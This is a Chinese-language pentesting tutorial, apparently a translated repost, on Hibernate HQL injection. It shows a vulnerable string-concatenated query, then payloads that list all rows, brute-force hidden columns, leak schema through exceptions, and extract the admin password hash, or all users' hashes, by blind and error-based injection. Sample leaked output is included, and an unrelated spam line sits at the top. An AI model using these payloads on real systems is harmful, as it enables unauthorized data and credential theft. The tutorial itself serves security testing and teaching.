自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Hibernate HQL注入攻擊入門

安全 數(shù)據(jù)安全
SQL注入是一種大家非常熟悉的攻擊方式,目前網(wǎng)絡(luò)上有大量存在注入漏洞的DBMS。但是,我在網(wǎng)絡(luò)上找不到針對(duì)Hibernate查詢語(yǔ)言的相關(guān)資源。因此本文總結(jié)了筆者在閱讀文檔和不斷試驗(yàn)過程中的一些經(jīng)驗(yàn)技巧。

SQL注入是一種大家非常熟悉的攻擊方式,目前網(wǎng)絡(luò)上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在網(wǎng)絡(luò)上找不到針對(duì)Hibernate查詢語(yǔ)言的相關(guān)資源。因此本文總結(jié)了筆者在閱讀文檔和不斷試驗(yàn)過程中的一些經(jīng)驗(yàn)技巧。

[[112739]]

什么是Hibernate

Hibernate是一種ORM框架,用來(lái)映射與tables相關(guān)的類定義(代碼),并包含一些高級(jí)特性,包括緩存以及繼承,通常在Java與.NET中使用(可參考NHibernate),但在Java生態(tài)系統(tǒng)中更受歡迎。

查詢語(yǔ)言

首先,HQL查詢并不直接發(fā)送給數(shù)據(jù)庫(kù),而是由hibernate引擎對(duì)查詢進(jìn)行解析并解釋,然后將其轉(zhuǎn)換為SQL。為什么這個(gè)細(xì)節(jié)重要呢?因?yàn)橛袃煞N錯(cuò)誤消息來(lái)源,一種來(lái)自hibernate引擎,一種來(lái)自數(shù)據(jù)庫(kù)。

HQL的一大挑戰(zhàn)是注射模式非常有限,其沒有聯(lián)合,沒有函數(shù)來(lái)創(chuàng)建簡(jiǎn)單延遲,沒有系統(tǒng)函數(shù),沒有可用的元數(shù)據(jù)表等。Hibernate查詢語(yǔ)言沒有那些在后臺(tái)數(shù)據(jù)庫(kù)中可能存在的功能特性。

基礎(chǔ)

以下示例代碼用來(lái)進(jìn)行之后的測(cè)試。需要注意的是,惡意輸入總是在百分號(hào)之間:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有實(shí)體

下面從最基礎(chǔ)的開始:列出所有books

from Bookwhere title like '%' or 1=1 or ''='%' and published = true

訪問隱藏的列

盡管UNION操作符不可用,我們依然可以暴力破解隱藏的列。

from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true

from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true

列出所有的列

也許有讀者可能會(huì)問,如果沒有元數(shù)據(jù)表,怎么樣才能發(fā)現(xiàn)隱藏的列/字段呢。我發(fā)現(xiàn)一個(gè)小竅門,不過只有Hibernate向客戶端返回異常消息時(shí)才可用。如果列名不是Hibernate中實(shí)體定義的一部分,則其會(huì)觸發(fā)異常:

from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true

觸發(fā)異常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

通過該異常,可以看到Hibernate查詢的列表名。

訪問不同的表

如前所述,HQL支持UNION查詢,可以與其它表join,但只有在模型明確定義了關(guān)系后才可使用。我發(fā)現(xiàn)訪問其它表的唯一方法是使用子查詢。

例如,以下查詢會(huì)從表中選擇一條與“User”實(shí)體關(guān)聯(lián)的項(xiàng)。

from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true

之后就可以按常規(guī)的盲注模式進(jìn)行盲注了。

非盲注

盲注比較費(fèi)時(shí)間,如果異常消息能顯示出來(lái),就可以直接得到任意值了。為此,需要將某個(gè)選中的值轉(zhuǎn)換為不同的類型。例如:

from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true

之后Hibernate就愉快地將異常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

技巧:調(diào)用后臺(tái)函數(shù)

如前所述,Hibernate會(huì)在SELECT和WHERE語(yǔ)句中隱藏一些不可識(shí)別的列名,對(duì)函數(shù)也一樣。調(diào)用數(shù)據(jù)庫(kù)函數(shù)的標(biāo)準(zhǔn)過程是事先注冊(cè)函數(shù)映射(HQL->SQL)(Java代碼),但攻擊者不需要關(guān)心兼容性。最終查詢中的完整函數(shù)可以用來(lái)竊取數(shù)據(jù)(group_concat,

array_agg, …)或?qū)笈_(tái)數(shù)據(jù)庫(kù)進(jìn)行簡(jiǎn)單的指紋識(shí)別。

例如,如果數(shù)據(jù)庫(kù)支持group_concat函數(shù):

from Bookwhere title like '%11' and (select cast(group_concat(password) as string) from User)=1 or ''='%' and published = true

則異常觸發(fā)為:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

總結(jié)

本文并不是討論關(guān)于Hibernate的漏洞,而是利用HQL的技巧。如果有讀者維護(hù)著使用Hibernate的Java web應(yīng)用程序,可以運(yùn)行FindBugs,利用這些規(guī)則識(shí)別與Hibernate API相關(guān)的潛在注入問題。

本文至此就結(jié)束了,希望對(duì)各位讀者有所幫助!

參考

HQL: The Hibernate Query Language : Hibernate 官方文檔

HQLmap:也許是目前能夠進(jìn)行自動(dòng)HQL注入的唯一工具(暴力破解實(shí)體與列名)。

SQL Injection Wiki : 多種DBMS平臺(tái)進(jìn)行SQL注入的有用參考資料。

Pentestmonkey

SQL Injection cheatsheets: SQL注入的另一不錯(cuò)的參考資料。

原文地址:http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2009-06-18 09:14:08

Hibernate H

2009-09-27 14:56:22

Hibernate H

2009-09-23 18:05:48

2009-09-25 16:57:49

Hibernate查詢

2009-06-12 15:32:01

Hibernate H

2009-06-26 16:09:21

Hibernate查詢HQL

2009-06-29 18:26:46

HibernateHQL查詢

2010-09-08 14:02:46

2009-09-24 15:27:41

Hibernate查詢

2009-09-25 13:48:17

Hibernate i

2009-09-23 11:21:32

學(xué)習(xí)Hibernate

2010-09-13 16:58:13

2013-12-13 10:45:26

2011-10-19 10:47:56

2017-05-08 14:33:51

2009-06-02 14:46:26

Hibernate關(guān)系映射教程

2019-08-02 09:34:22

HQL注入查詢

2009-06-25 16:52:34

2009-09-24 15:03:30

Hibernate配置

2009-02-04 16:51:48

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)